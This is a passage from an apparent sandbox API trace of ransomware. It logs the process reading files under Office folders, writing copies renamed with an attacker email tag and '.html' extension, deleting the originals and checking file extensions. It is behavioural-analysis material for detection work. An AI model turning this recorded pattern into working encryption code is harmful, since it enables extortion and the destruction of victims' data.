Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0274.883] lstrlenW (lpString=".jpg") returned 4 [0274.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.883] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.883] lstrlenW (lpString="HH01875_.WMF") returned 12 [0274.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.883] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=2616) returned 1 [0274.883] CloseHandle (hObject=0x2f0) returned 1 [0274.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x20 [0274.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.883] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.883] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0274.884] GetLastError () returned 0x0 [0274.884] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0xa38, lpOverlapped=0x0) returned 1 [0274.885] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xa40, lpOverlapped=0x0) returned 1 [0274.886] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.886] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.886] SetEndOfFile (hFile=0x2e0) returned 1 [0274.886] CloseHandle (hObject=0x2e0) returned 1 [0274.886] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.886] SetEndOfFile (hFile=0x2f0) returned 1 [0274.888] CloseHandle (hObject=0x2f0) returned 1 [0274.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0274.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0274.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0274.889] lstrlenW (lpString=".doc") returned 4 [0274.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.889] lstrlenW (lpString=".docx") returned 5 [0274.889] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.889] lstrlenW (lpString=".pdf") returned 4 [0274.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.889] lstrlenW (lpString=".xls") returned 4 [0274.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.889] lstrlenW (lpString=".xlsx") returned 5 [0274.889] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.889] lstrlenW (lpString=".ppt") returned 4 [0274.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0274.889] lstrlenW (lpString=".zip") returned 4 [0274.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.889] lstrlenW (lpString=".rar") returned 4 [0274.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.889] lstrlenW (lpString=".bz2") returned 4 [0274.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.889] lstrlenW (lpString=".7z") returned 3 [0274.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0274.889] lstrlenW (lpString=".dbf") returned 4 [0274.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0274.889] lstrlenW (lpString=".1cd") returned 4 [0274.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0274.889] lstrlenW (lpString=".jpg") returned 4 [0274.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0274.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0274.890] lstrlenW (lpString=".doc") returned 4 [0274.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.890] lstrlenW (lpString=".docx") returned 5 [0274.890] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.890] lstrlenW (lpString=".pdf") returned 4 [0274.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.890] lstrlenW (lpString=".xls") returned 4 [0274.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.890] lstrlenW (lpString=".xlsx") returned 5 [0274.890] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.890] lstrlenW (lpString=".ppt") returned 4 [0274.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0274.890] lstrlenW (lpString=".zip") returned 4 [0274.890] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.890] lstrlenW (lpString=".rar") returned 4 [0274.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.890] lstrlenW (lpString=".bz2") returned 4 [0274.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.890] lstrlenW (lpString=".7z") returned 3 [0274.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0274.890] lstrlenW (lpString=".dbf") returned 4 [0274.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0274.890] lstrlenW (lpString=".1cd") returned 4 [0274.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0274.890] lstrlenW (lpString=".jpg") returned 4 [0274.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.890] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.891] lstrlenW (lpString="HH01923_.WMF") returned 12 [0274.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.891] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=26706) returned 1 [0274.891] CloseHandle (hObject=0x2f0) returned 1 [0274.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x20 [0274.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.891] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.891] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0274.892] GetLastError () returned 0x0 [0274.892] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x6852, lpOverlapped=0x0) returned 1 [0274.983] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x6860, lpOverlapped=0x0) returned 1 [0274.984] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.984] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.984] SetEndOfFile (hFile=0x2e0) returned 1 [0274.987] CloseHandle (hObject=0x2e0) returned 1 [0274.987] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.987] SetEndOfFile (hFile=0x2f0) returned 1 [0274.989] CloseHandle (hObject=0x2f0) returned 1 [0274.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0275.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf")) returned 1 [0275.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0275.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0275.036] lstrlenW (lpString=".doc") returned 4 [0275.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.036] lstrlenW (lpString=".docx") returned 5 [0275.036] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0275.036] lstrlenW (lpString=".pdf") returned 4 [0275.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.036] lstrlenW (lpString=".xls") returned 4 [0275.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.036] lstrlenW (lpString=".xlsx") returned 5 [0275.036] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0275.036] lstrlenW (lpString=".ppt") returned 4 [0275.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0275.037] lstrlenW (lpString=".zip") returned 4 [0275.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.037] lstrlenW (lpString=".rar") returned 4 [0275.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.037] lstrlenW (lpString=".bz2") returned 4 [0275.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.037] lstrlenW (lpString=".7z") returned 3 [0275.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0275.037] lstrlenW (lpString=".dbf") returned 4 [0275.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0275.037] lstrlenW (lpString=".1cd") returned 4 [0275.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0275.037] lstrlenW (lpString=".jpg") returned 4 [0275.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0275.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0275.037] lstrlenW (lpString=".doc") returned 4 [0275.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.037] lstrlenW (lpString=".docx") returned 5 [0275.037] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0275.037] lstrlenW (lpString=".pdf") returned 4 [0275.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.037] lstrlenW (lpString=".xls") returned 4 [0275.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.037] lstrlenW (lpString=".xlsx") returned 5 [0275.037] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0275.037] lstrlenW (lpString=".ppt") returned 4 [0275.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0275.037] lstrlenW (lpString=".zip") returned 4 [0275.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.038] lstrlenW (lpString=".rar") returned 4 [0275.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.038] lstrlenW (lpString=".bz2") returned 4 [0275.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.038] lstrlenW (lpString=".7z") returned 3 [0275.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0275.038] lstrlenW (lpString=".dbf") returned 4 [0275.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0275.038] lstrlenW (lpString=".1cd") returned 4 [0275.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0275.038] lstrlenW (lpString=".jpg") returned 4 [0275.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.038] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0275.038] lstrlenW (lpString="HH02282_.WMF") returned 12 [0275.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0275.038] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=7932) returned 1 [0275.038] CloseHandle (hObject=0x390) returned 1 [0275.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x20 [0275.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0275.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0275.039] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0275.039] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0275.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0275.039] GetLastError () returned 0x0 [0275.039] ReadFile (hFile=0x390, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0) Thread: id = 101 os_tid = 0x68c [0266.604] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10000) returned 0x39d0f08 [0266.604] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10000) returned 0x39e0f10 [0266.604] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5588 [0266.604] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6) returned 0x2f2ff0 [0266.604] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f55a0 [0266.605] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x100000) returned 0x3f60020 [0266.605] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f55b8 [0266.605] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f55b8, Size=0x20) returned 0x3992e0 [0266.605] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f55b8 [0266.605] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f55b8, Size=0x20) returned 0x3992b8 [0266.605] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77410000 [0266.605] GetProcAddress (hModule=0x77410000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7743d650 [0266.605] Wow64DisableWow64FsRedirection (in: OldValue=0x337ff58 | out: OldValue=0x337ff58*=0x0) returned 1 [0266.605] lstrlenW (lpString="kernel32.dll") returned 12 [0266.605] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x3992e0 | out: hHeap=0x2a0000) returned 1 [0266.605] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0266.605] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x3992b8 | out: hHeap=0x2a0000) returned 1 [0266.605] Sleep (dwMilliseconds=0x64) [0266.835] Sleep (dwMilliseconds=0x64) [0267.094] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0267.094] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0267.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0267.216] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=3584) returned 1 [0267.216] CloseHandle (hObject=0x2f0) returned 1 [0267.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20 [0267.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0267.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0267.216] lstrlenW (lpString=".doc") returned 4 [0267.216] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.216] lstrlenW (lpString=".docx") returned 5 [0267.216] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0267.216] lstrlenW (lpString=".pdf") returned 4 [0267.216] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.216] lstrlenW (lpString=".xls") returned 4 [0267.216] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.216] lstrlenW (lpString=".xlsx") returned 5 [0267.216] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0267.216] lstrlenW (lpString=".ppt") returned 4 [0267.216] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0267.216] lstrlenW (lpString=".zip") returned 4 [0267.216] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.217] lstrlenW (lpString=".rar") returned 4 [0267.217] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.217] lstrlenW (lpString=".bz2") returned 4 [0267.217] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.217] lstrlenW (lpString=".7z") returned 3 [0267.217] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0267.217] lstrlenW (lpString=".dbf") returned 4 [0267.217] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0267.217] lstrlenW (lpString=".1cd") returned 4 [0267.217] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0267.217] lstrlenW (lpString=".jpg") returned 4 [0267.217] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0267.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0267.217] lstrlenW (lpString=".doc") returned 4 [0267.217] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.217] lstrlenW (lpString=".docx") returned 5 [0267.217] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0267.217] lstrlenW (lpString=".pdf") returned 4 [0267.217] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.217] lstrlenW (lpString=".xls") returned 4 [0267.217] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.217] lstrlenW (lpString=".xlsx") returned 5 [0267.217] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0267.217] lstrlenW (lpString=".ppt") returned 4 [0267.217] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0267.217] lstrlenW (lpString=".zip") returned 4 [0267.217] 